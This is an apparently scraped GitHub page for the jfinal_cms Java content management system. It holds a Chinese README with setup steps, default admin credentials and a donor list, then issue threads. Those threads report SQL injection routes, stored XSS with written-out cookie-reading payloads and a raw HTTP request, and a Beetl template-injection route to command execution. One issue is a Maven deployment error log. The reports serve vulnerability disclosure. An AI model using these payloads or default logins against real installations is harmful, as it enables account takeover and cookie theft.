jflyfox/jfinal_cms

jfinal cms是一个java开发的功能强大的信息咨询网站，采用了简洁强大的JFinal作为web框架，模板引擎用的是beetl，数据库用mysql，前端bootstrap框架。支持oauth2认证、帐号注册、密码加密、评论及回复，消息提示，网站访问量统计，文章评论数和浏览量统计，回复管理，支持权限管理。后台模块包含：栏目管理，栏目公告，栏目滚动图片，文章管理，回复管理，意见反馈，我的相册，相册管理，图片管理，专辑管理、视频管理、缓存更新，友情链接，访问统计，联系人管理，模板管理，组织机构管理，用户管理，角色管理，菜单管理，数据字典管理。

jfinal cms

1. jfinal cms，采用了简洁强大的JFinal作为web框架，模板引擎用的是beetl，数据库用mysql，前端bootstrap框架。
2. 后台模块包含：栏目管理，栏目公告，栏目滚动图片，文章管理，回复管理，意见反馈，我的相册，相册管理，图片管理，专辑管理，视频管理，缓存更新，友情链接，访问统计，联系人管理，模板管理，组织机构管理，用户管理，角色管理，菜单管理，参数配置，数据字典管理。
3. 后端模板支持：bootstrap默认样式、bootstrap黑色样式和flat-ui样式
4. 前端模板支持：默认内容发布、官网模板、图片模板和视频模板
5. jfinal cms交流群：568909653。 文档见doc/jfinal cms文档.docx

• 管理地址：http://${ip:port}/${project_name}/admin
• 测试账号: admin/admin123 或 test/123456

平台部署和配置说明

1. 下载项目代码，安装jdk、maven、mysql。
2. 在项目目录下运行mvn install，提示BUILD SUCCESS即可。
3. 创建mysql用户和数据库，运行/jfinal_cms/sql下对应jfinal_cms_v4.sql。
4. 数据库配置文件：/jfinal_cms/src/main/resources/conf/db.properties
5. 如需要oauth2的，设置src/conf/oauth.properties
6. 运行：mvn tomcat:run
7. 系统默认采用单站点模式，各个站点可以在“其他管理”下“站点管理”菜单方便的切换。
8. 如果使用多站点，可以在“系统管理”下“多站点标示”菜单中，将“多站点标示”项目修改为true。
9. 多站点需要设置各个站点对应的域名，通过域名解析到不同的站点模板。

项目源码地址：

github地址：https://github.com/jflyfox/jfinal_cms

码云地址：https://gitee.com/jflyfox/jfinal_cms

API Clinet 项目源码地址：

github地址：https://github.com/jflyfox/jfinal_cms_api_client

码云地址：https://gitee.com/jflyfox/jfinal_cms_api_client

演示效果截图

网站CMS地址：http://mtg.jflyfox.com/

网站官网模板：http://website.jflyfox.com/

博客模板模板：http://blog.jflyfox.com/

相册管理模板：http://photo.jflyfox.com/

视频管理模板：http://video.jflyfox.com/

后台页面主题：

鸣谢

1. JFinal
2. beetl
3. oschina

项目支持

• 项目的发展，离不开大家得支持~！~

• 阿里云最新活动：双11最新活动，低至1折；还有新人礼包；请点击这里

• 1核2G1M40G盘，86元/1年，

• 2核4G3M40G盘，799元/3年，

• 2核8G5M40G盘，1399元/3年。

• 阿里云：ECS云服务器2折起；请点击这里

• 阿里云：ECS云服务器新人优惠券；请点击这里

• 也可以请作者喝一杯咖啡:)

捐赠名单

| 名字 | 金额 | 备注 | 时间 |

| :-------: |:----: | :-----:|----- |-----|

| 阿涛 | ￥200.00 | 支付宝捐赠 | 2018-09-17 13:41|

| 阿楞 | ￥100.00 | 微信捐赠 | 2018-08-23 11:03|

| 欣喜若狂 | ￥50.00 | 支付宝捐赠 | 2018-01-12 18:10|

| 欣喜若狂 | ￥50.00 | 支付宝捐赠 | 2018-01-12 18:10|

| 奥里吉德 | ￥50.00 | 支付宝捐赠 | 2017-08-20 20:10|

| 错觉 | ￥20.00 | 微信捐赠 | 2017-07-18 18:34|

| 弱水穿云天 | ￥50.00 | 支付宝捐赠 | 2017-04-28 10:17|

| 牛牛 | ￥100.00 | 微信捐赠 | 2017-04-17 17:36|

| 2001来北京的麦田 | ￥50.00 | 微信捐赠 | 2017-03-09 16:58|

| 今生的你 | ￥20.00 | 支付宝捐赠 | 2017-02-13 12:32|

| 建强 | ￥500.00 | 支付宝捐赠 | 2017-01-19 23:04|

| 小军 | ￥10.00 | 支付宝捐赠 | 2016-11-30 22:58|

| 小军 | ￥10.00 | 支付宝捐赠 | 2016-11-19 09:34|

| 郑州誉品电子商务有限公司 | ￥300.00 | 支付宝捐赠 | 2016-09-23 14:13|

| 周克涛 | ￥10.00 | 支付宝捐赠 | 2016-08-12 19:43|

| 扬某 | ￥1.00 | 支付宝捐赠 | 2016-06-29 14:12|

| magicbug | ￥500.00 | 支付宝捐赠 | 2016-06-20 15:14|

| 杜育轩 | ￥100.00 | 支付宝捐赠 | 2016-05-29 10:48|

| 谢协湃 | ￥20.00 | 支付宝捐赠 | 2016-05-01 22:33|

| 粪发涂墙 | ￥1.00 | 微信捐赠 | 2016-04-17 21:18|

| 胡海峰 | ￥10.00 | 微信捐赠 | 2016-04-12 15:23|

| 李守敬 | ￥10.00 | 支付宝捐赠 | 2016-03-10 17:20|

| 韩千叶 | ￥20.00 | 支付宝捐赠 | 2016-03-05 18:35|

| 神仙下凡 | ￥1.00 | 微信捐赠 | 2016-03-03 18:30|

| 张润佘 | ￥1.00 | 支付宝捐赠 | 2016-03-01 21:18|

| 李胜发 | ￥20.00 | 支付宝捐赠 | 2016-02-23 22:25|

| 贾小龙 | ￥20.00 | 微信捐赠 | 2016-02-20 15:20|

| 韩刚龙 | ￥20.00 | 支付宝捐赠 | 2016-02-10 16:17|

| 黄颖 | ￥10.00 | 支付宝捐赠 | 2016-02-08 16:25|

| 孔维源 | ￥20.00 | 支付宝捐赠 | 2016-02-07 18:40|

| 小猪 | ￥10.00 | 微信捐赠 | 2016-02-07 18:20|

| 田野 | ￥20.00 | 支付宝捐赠 | 2016-02-07 16:15|

| Allen | ￥10.00 | 支付宝捐赠 | 2016-02-07 15:25|

| 飞龙在天 | ￥20.00 | 微信捐赠 | 2016-02-05 15:20|

| 仇国林 | ￥5.00 | 支付宝捐赠 | 2016-02-05 16:17|

| 李荣富 | ￥50.00 | 支付宝捐赠 | 2016-01-05 14:15|

| 夏舒征 | ￥1.00 | 微信捐赠 | 2015-12-03 18:30|

| 郭俊立 | ￥10.00 | 支付宝捐赠 | 2015-11-23 21:25|

| 侯善稚 | ￥5.00 | 支付宝捐赠 | 2015-11-10 12:30|

| Dave | ￥20.00 | 微信捐赠 | 2015-09-05 15:10|

| 李具匡 | ￥1.00 | 支付宝捐赠 | 2015-08-03 23:30|

| 文子隐 | ￥20.00 | 微信捐赠 | 2015-07-23 19:20|

| 何望 | ￥10.00 | 支付宝捐赠 | 2015-07-10 17:29|

| 李新革 | ￥20.00 | 支付宝捐赠 | 2015-05-07 20:00|

| 苏某 | ￥20.00 | 支付宝捐赠 | 2015-04-01 20:18|

| 寒云 | ￥10.00 | 支付宝捐赠 | 2015-02-01 20:18|

| lucky | ￥10.00 | 支付宝捐赠 | 2015-01-20 15:10|

| 王锋 | ￥10.00 | 支付宝捐赠 | 2015-01-10 22:00|

jfinal_cms's Issues

Some SQL injection vulnerabilities exists in JFinal CMS 5.1.0

Administrator login is required. The default account password is admin:admin123

admin/videoalbum/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/videoalbum/list

admin/video/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/video/list

system/department/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route system/department/list

system/menu/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route system/menu/list

system/role/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route system/role/list

A Stored XSS vulnerability exists in jfinal_cms v5.1.0

There is a storage XSS vulnerability in the modification of jfinal_CMS user's personal information. The attacker can insert malicious XSS code into the modification of personal information, and then successfully trigger XSS attack when the administrator user views the user's personal information.
First, register a user test, then enter the personal information page, insert the malicious XSS attack code in the remarks:
payload:
"><img src=x onerror=alert(document.cookie);><"

Then use the administrator account to view the user information:

Successfully triggered malicious XSS Code:

Safety advice: strictly filter the user's input

附件上传文件大小设置在哪啊？？？

Administrator Interface SSTI Vulnerability

com.jflyfox.modules.filemanager.FileManagerController#index

else if (request.getMethod().equals("POST")) {
				if (mode == null) {
					mode = "upload";
					responseData = fm.add();
					putTextarea = true;
				} else if (mode.equals("savefile")) {
					if (needPath && fm.setGetContent("content", request.getParameter("content"))) {
						responseData = fm.saveFile();
					}
				}

Here you can insert the Beetl template code in the html file to call the Runtime () method.
Examples:
Insert beetl template code in show_person.html to execute the ‘calc’ command.Trigger by visiting the page.


Repair plan:
Filter the "content" parameter, not allowed to insert template code.

Where to report a security vulnerability?

I found a vulnerability (not xss) in jfinal_cms. What email to use?

There is a stored xss vulnerability exists in jfinal_cms

[Suggested description]
jfinal_ There is a storage XSS vulnerability in the background system of CMS. Because developers do not filter the parameters submitted by the user input form, any user with background permission can affect the system security by entering malicious code. via a Google search in url:http://localhost/jfinal_cms/admin/site/save/5

[Vulnerability Type]
Cross Site Scripting (XSS)

[Vendor of Product]
https://github.com/jflyfox/jfinal_cms

[Affected Product Code Base]
Less than 5.1 0

[Affected Component]
POST /jfinal_cms/admin/site/save/5 HTTP/1.1
Host: localhost
Content-Length: 1777
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBl1vjLCSUZbB3vef
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/jfinal_cms/admin/site/edit/5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
......
------WebKitFormBoundaryBl1vjLCSUZbB3vef
Content-Disposition: form-data; name="model.name"
�客<script>alert("xss")</script> //your xss payload
------WebKitFormBoundaryBl1vjLCSUZbB3vef
Content-Disposition: form-data; name="model.site_title"
......
------WebKitFormBoundaryBl1vjLCSUZbB3vef--

[Attack Type]
Remote

[Impact Code execution]
true

Click the Save button, because the developer does not filter the input parameters, the input malicious code is parsed and executed.

Test the reflection cookie through XSS again.

SQL

无法在CentOS上使用mvn部署

系统环境

CentOS 7.5.1804
Maven 3.6.1
JDK 12.0.1

运行日志

[root@localhost jfinal_cms]# mvn tomcat:run
[INFO] Scanning for projects...
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for com.jflyfox:jfinal_cms:war:4.7.1
[WARNING] 'dependencies.dependency.(groupId:artifactId:type:classifier)' must be unique: de.ruedigermoeller:fst:jar -> duplicate declaration of version 1.58 @ line 93, column 15
[WARNING] 'dependencies.dependency.(groupId:artifactId:type:classifier)' must be unique: com.ibeetl:beetl:jar -> duplicate declaration of version 2.7.11 @ line 104, column 15
[WARNING] 'dependencies.dependency.(groupId:artifactId:type:classifier)' must be unique: dom4j:dom4j:jar -> duplicate declaration of version 1.6.1 @ line 115, column 15
[WARNING] 'build.plugins.plugin.version' for org.apache.maven.plugins:maven-compiler-plugin is missing. @ line 161, column 12
[WARNING] The expression ${artifactId} is deprecated. Please use ${project.artifactId} instead.
[WARNING] The expression ${artifactId} is deprecated. Please use ${project.artifactId} instead.
[WARNING] The expression ${artifactId} is deprecated. Please use ${project.artifactId} instead.
[WARNING] 
[WARNING] It is highly recommended to fix these problems because they threaten the stability of your build.
[WARNING] 
[WARNING] For this reason, future Maven versions might no longer support building such malformed projects.
[WARNING] 
[INFO] 
[INFO] -----------------------< com.jflyfox:jfinal_cms >-----------------------
[INFO] Building jfinal_cms 4.7.1
[INFO] --------------------------------[ war ]---------------------------------
[INFO] 
[INFO] >>> tomcat-maven-plugin:1.1:run (default-cli) > compile @ jfinal_cms >>>
[INFO] 
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ jfinal_cms ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Copying 7 resources
[INFO] 
[INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ jfinal_cms ---
[INFO] Nothing to compile - all classes are up to date
[INFO] 
[INFO] <<< tomcat-maven-plugin:1.1:run (default-cli) < compile @ jfinal_cms <<<
[INFO] 
[INFO] 
[INFO] --- tomcat-maven-plugin:1.1:run (default-cli) @ jfinal_cms ---
[INFO] Running war on http://localhost:80/jfinal_cms
[INFO] Using existing Tomcat server configuration at /root/cms/jfinal_cms/target/tomcat
May 07, 2019 5:56:21 PM org.apache.catalina.startup.Embedded start
INFO: Starting tomcat server
May 07, 2019 5:56:21 PM org.apache.catalina.core.StandardEngine start
INFO: Starting Servlet Engine: Apache Tomcat/6.0.29
2019-05-07 17:56:23 INFO [com.mchange.v2.log.MLog.<clinit>] - MLog clients using log4j logging.
2019-05-07 17:56:23 INFO [com.mchange.v2.c3p0.C3P0Registry.banner] - Initializing c3p0-0.9.1.2 [built 21-May-2007 15:04:56; debug? true; trace: 10]
2019-05-07 17:56:23 INFO [com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource.getPoolManager] - Initializing c3p0 pool... com.mchange.v2.c3p0.ComboPooledDataSource [ acquireIncrement -> 2, acquireRetryAttempts -> 30, acquireRetryDelay -> 1000, autoCommitOnClose -> false, automaticTestTable -> null, breakAfterAcquireFailure -> false, checkoutTimeout -> 0, connectionCustomizerClassName -> null, connectionTesterClassName -> com.mchange.v2.c3p0.impl.DefaultConnectionTester, dataSourceName -> z8kflta214fl0no1d4614u|2ac519dc, debugUnreturnedConnectionStackTraces -> false, description -> null, driverClass -> com.mysql.jdbc.Driver, factoryClassLocation -> null, forceIgnoreUnresolvedTransactions -> false, identityToken -> z8kflta214fl0no1d4614u|2ac519dc, idleConnectionTestPeriod -> 0, initialPoolSize -> 10, jdbcUrl -> jdbc:mysql://127.0.0.1:3306/jflyfox_cms?characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull, maxAdministrativeTaskTime -> 0, maxConnectionAge -> 0, maxIdleTime -> 20, maxIdleTimeExcessConnections -> 0, maxPoolSize -> 100, maxStatements -> 0, maxStatementsPerConnection -> 0, minPoolSize -> 10, numHelperThreads -> 3, numThreadsAwaitingCheckoutDefaultUser -> 0, preferredTestQuery -> null, properties -> {password=******, user=******}, propertyCycle -> 0, testConnectionOnCheckin -> false, testConnectionOnCheckout -> false, unreturnedConnectionTimeout -> 0, usesTraditionalReflectiveProxies -> false ]
2019-05-07 17:56:43 WARN [com.mchange.v2.async.ThreadPoolAsynchronousRunner.run] - com.mchange.v2.async.ThreadPoolAsynchronousRunner$DeadlockDetector@68336532 -- APPARENT DEADLOCK!!! Creating emergency threads for unassigned pending tasks!
2019-05-07 17:56:43 WARN [com.mchange.v2.async.ThreadPoolAsynchronousRunner.run] - com.mchange.v2.async.ThreadPoolAsynchronousRunner$DeadlockDetector@68336532 -- APPARENT DEADLOCK!!! Complete Status: 
	Managed Threads: 3
	Active Threads: 3
	Active Tasks: 
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@54a06741 (com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#2)
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@16a40d37 (com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#1)
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@2c27b8bf (com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#0)
	Pending Tasks: 
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@47e67330
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@102b9ee2
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@2650f465
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@37235250
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@43a8c877
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@fb8926e
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@2eeaac20
Pool thread stack traces:
	Thread[com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#2,5,main]
		[email protected]/java.lang.Thread.sleep(Native Method)
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1805)
		com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:547)
	Thread[com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#1,5,main]
		[email protected]/java.lang.Thread.sleep(Native Method)
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1805)
		com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:547)
	Thread[com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#0,5,main]
		[email protected]/java.lang.Thread.sleep(Native Method)
		com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1805)
		com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:547)


2019-05-07 17:56:52 WARN [com.mchange.v2.resourcepool.BasicResourcePool.run] - com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@54a06741 -- Acquisition Attempt Failed!!! Clearing pending acquires. While trying to acquire a needed new resource, we failed to succeed more than the maximum number of allowed acquisition attempts (30). Last acquisition attempt exception: 
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown database 'jflyfox_cms'
	at jdk.internal.reflect.GeneratedConstructorAccessor28.newInstance(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500)
	at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481)
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)
	at com.mysql.jdbc.Util.getInstance(Util.java:372)
	at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:980)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3835)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3771)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:870)
	at com.mysql.jdbc.MysqlIO.proceedHandshakeWithPluggableAuthentication(MysqlIO.java:1659)
	at com.mysql.jdbc.MysqlIO.doHandshake(MysqlIO.java:1206)
	at com.mysql.jdbc.ConnectionImpl.coreConnect(ConnectionImpl.java:2239)
	at com.mysql.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:2270)
	at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2069)
	at com.mysql.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:794)
	at com.mysql.jdbc.JDBC4Connection.<init>(JDBC4Connection.java:44)
	at jdk.internal.reflect.GeneratedConstructorAccessor25.newInstance(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500)
	at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481)
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)
	at com.mysql.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:399)
	at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:325)
	at com.mchange.v2.c3p0.DriverManagerDataSource.getConnection(DriverManagerDataSource.java:134)
	at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledConnection(WrapperConnectionPoolDataSource.java:182)
	at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledConnection(WrapperConnectionPoolDataSource.java:171)
	at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool$1PooledConnectionResourcePoolManager.acquireResource(C3P0PooledConnectionPool.java:137)
	at com.mchange.v2.resourcepool.BasicResourcePool.doAcquire(BasicResourcePool.java:1014)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$800(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1810)
	at com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:547)
2019-05-07 17:56:52 ERROR [com.jfinal.core.Config.startPlugins] - Plugin start error: com.jfinal.plugin.activerecord.ActiveRecordPlugin. 
java.sql.SQLException: Connections could not be acquired from the underlying database!
com.jfinal.plugin.activerecord.ActiveRecordException: java.sql.SQLException: Connections could not be acquired from the underlying database!
	at com.jfinal.plugin.activerecord.TableBuilder.build(TableBuilder.java:55)
	at com.jfinal.plugin.activerecord.ActiveRecordPlugin.start(ActiveRecordPlugin.java:226)
	at com.jfinal.core.Config.startPlugins(Config.java:128)
	at com.jfinal.core.Config.configPluginWithOrder(Config.java:71)
	at com.jfinal.core.Config.configJFinal(Config.java:56)
	at com.jfinal.core.JFinal.init(JFinal.java:63)
	at com.jfinal.core.JFinalFilter.init(JFinalFilter.java:49)
	at org.apache.catalina.core.ApplicationFilterConfig.getFilter(ApplicationFilterConfig.java:295)
	at org.apache.catalina.core.ApplicationFilterConfig.setFilterDef(ApplicationFilterConfig.java:422)
	at org.apache.catalina.core.ApplicationFilterConfig.<init>(ApplicationFilterConfig.java:115)
	at org.apache.catalina.core.StandardContext.filterStart(StandardContext.java:4001)
	at org.apache.catalina.core.StandardContext.start(StandardContext.java:4651)
	at org.apache.catalina.core.ContainerBase.start(ContainerBase.java:1045)
	at org.apache.catalina.core.StandardHost.start(StandardHost.java:785)
	at org.apache.catalina.core.ContainerBase.start(ContainerBase.java:1045)
	at org.apache.catalina.core.StandardEngine.start(StandardEngine.java:445)
	at org.apache.catalina.startup.Embedded.start(Embedded.java:825)
	at org.codehaus.mojo.tomcat.AbstractRunMojo.startContainer(AbstractRunMojo.java:558)
	at org.codehaus.mojo.tomcat.AbstractRunMojo.execute(AbstractRunMojo.java:255)
	at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo(DefaultBuildPluginManager.java:137)
	at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:210)
	at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:156)
	at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:148)
	at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:117)
	at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:81)
	at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build(SingleThreadedBuilder.java:56)
	at org.apache.maven.lifecycle.internal.LifecycleStarter.execute(LifecycleStarter.java:128)
	at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:305)
	at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:192)
	at org.apache.maven.DefaultMaven.execute(DefaultMaven.java:105)
	at org.apache.maven.cli.MavenCli.execute(MavenCli.java:956)
	at org.apache.maven.cli.MavenCli.doMain(MavenCli.java:288)
	at org.apache.maven.cli.MavenCli.main(MavenCli.java:192)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:567)
	at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced(Launcher.java:282)
	at org.codehaus.plexus.classworlds.launcher.Launcher.launch(Launcher.java:225)
	at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode(Launcher.java:406)
	at org.codehaus.plexus.classworlds.launcher.Launcher.main(Launcher.java:347)
Caused by: java.sql.SQLException: Connections could not be acquired from the underlying database!
	at com.mchange.v2.sql.SqlUtils.toSQLException(SqlUtils.java:106)
	at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool.checkoutPooledConnection(C3P0PooledConnectionPool.java:529)
	at com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource.getConnection(AbstractPoolBackedDataSource.java:128)
	at com.jfinal.plugin.activerecord.TableBuilder.build(TableBuilder.java:43)
	... 40 more
Caused by: com.mchange.v2.resourcepool.CannotAcquireResourceException: A ResourcePool could not acquire a resource from its primary factory or source.
	at com.mchange.v2.resourcepool.BasicResourcePool.awaitAvailable(BasicResourcePool.java:1319)
	at com.mchange.v2.resourcepool.BasicResourcePool.prelimCheckoutResource(BasicResourcePool.java:557)
	at com.mchange.v2.resourcepool.BasicResourcePool.checkoutResource(BasicResourcePool.java:477)
	at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool.checkoutPooledConnection(C3P0PooledConnectionPool.java:525)
	... 42 more
May 07, 2019 5:56:52 PM org.apache.catalina.core.StandardContext filterStart
SEVERE: Exception starting filter jfinal
java.lang.RuntimeException: Plugin start error: com.jfinal.plugin.activerecord.ActiveRecordPlugin. 
java.sql.SQLException: Connections could not be acquired from the underlying database!
	at com.jfinal.core.Config.startPlugins(Config.java:137)
	at com.jfinal.core.Config.configPluginWithOrder(Config.java:71)
	at com.jfinal.core.Config.configJFinal(Config.java:56)
	at com.jfinal.core.JFinal.init(JFinal.java:63)
	at com.jfinal.core.JFinalFilter.init(JFinalFilter.java:49)
	at org.apache.catalina.core.ApplicationFilterConfig.getFilter(ApplicationFilterConfig.java:295)
	at org.apache.catalina.core.ApplicationFilterConfig.setFilterDef(ApplicationFilterConfig.java:422)
	at org.apache.catalina.core.ApplicationFilterConfig.<init>(ApplicationFilterConfig.java:115)
	at org.apache.catalina.core.StandardContext.filterStart(StandardContext.java:4001)
	at org.apache.catalina.core.StandardContext.start(StandardContext.java:4651)
	at org.apache.catalina.core.ContainerBase.start(ContainerBase.java:1045)
	at org.apache.catalina.core.StandardHost.start(StandardHost.java:785)
	at org.apache.catalina.core.ContainerBase.start(ContainerBase.java:1045)
	at org.apache.catalina.core.StandardEngine.start(StandardEngine.java:445)
	at org.apache.catalina.startup.Embedded.start(Embedded.java:825)
	at org.codehaus.mojo.tomcat.AbstractRunMojo.startContainer(AbstractRunMojo.java:558)
	at org.codehaus.mojo.tomcat.AbstractRunMojo.execute(AbstractRunMojo.java:255)
	at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo(DefaultBuildPluginManager.java:137)
	at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:210)
	at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:156)
	at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:148)
	at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:117)
	at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:81)
	at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build(SingleThreadedBuilder.java:56)
	at org.apache.maven.lifecycle.internal.LifecycleStarter.execute(LifecycleStarter.java:128)
	at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:305)
	at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:192)
	at org.apache.maven.DefaultMaven.execute(DefaultMaven.java:105)
	at org.apache.maven.cli.MavenCli.execute(MavenCli.java:956)
	at org.apache.maven.cli.MavenCli.doMain(MavenCli.java:288)
	at org.apache.maven.cli.MavenCli.main(MavenCli.java:192)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:567)
	at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced(Launcher.java:282)
	at org.codehaus.plexus.classworlds.launcher.Launcher.launch(Launcher.java:225)
	at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode(Launcher.java:406)
	at org.codehaus.plexus.classworlds.launcher.Launcher.main(Launcher.java:347)
Caused by: com.jfinal.plugin.activerecord.ActiveRecordException: java.sql.SQLException: Connections could not be acquired from the underlying database!
	at com.jfinal.plugin.activerecord.TableBuilder.build(TableBuilder.java:55)
	at com.jfinal.plugin.activerecord.ActiveRecordPlugin.start(ActiveRecordPlugin.java:226)
	at com.jfinal.core.Config.startPlugins(Config.java:128)
	... 38 more
Caused by: java.sql.SQLException: Connections could not be acquired from the underlying database!
	at com.mchange.v2.sql.SqlUtils.toSQLException(SqlUtils.java:106)
	at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool.checkoutPooledConnection(C3P0PooledConnectionPool.java:529)
	at com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource.getConnection(AbstractPoolBackedDataSource.java:128)
	at com.jfinal.plugin.activerecord.TableBuilder.build(TableBuilder.java:43)
	... 40 more
Caused by: com.mchange.v2.resourcepool.CannotAcquireResourceException: A ResourcePool could not acquire a resource from its primary factory or source.
	at com.mchange.v2.resourcepool.BasicResourcePool.awaitAvailable(BasicResourcePool.java:1319)
	at com.mchange.v2.resourcepool.BasicResourcePool.prelimCheckoutResource(BasicResourcePool.java:557)
	at com.mchange.v2.resourcepool.BasicResourcePool.checkoutResource(BasicResourcePool.java:477)
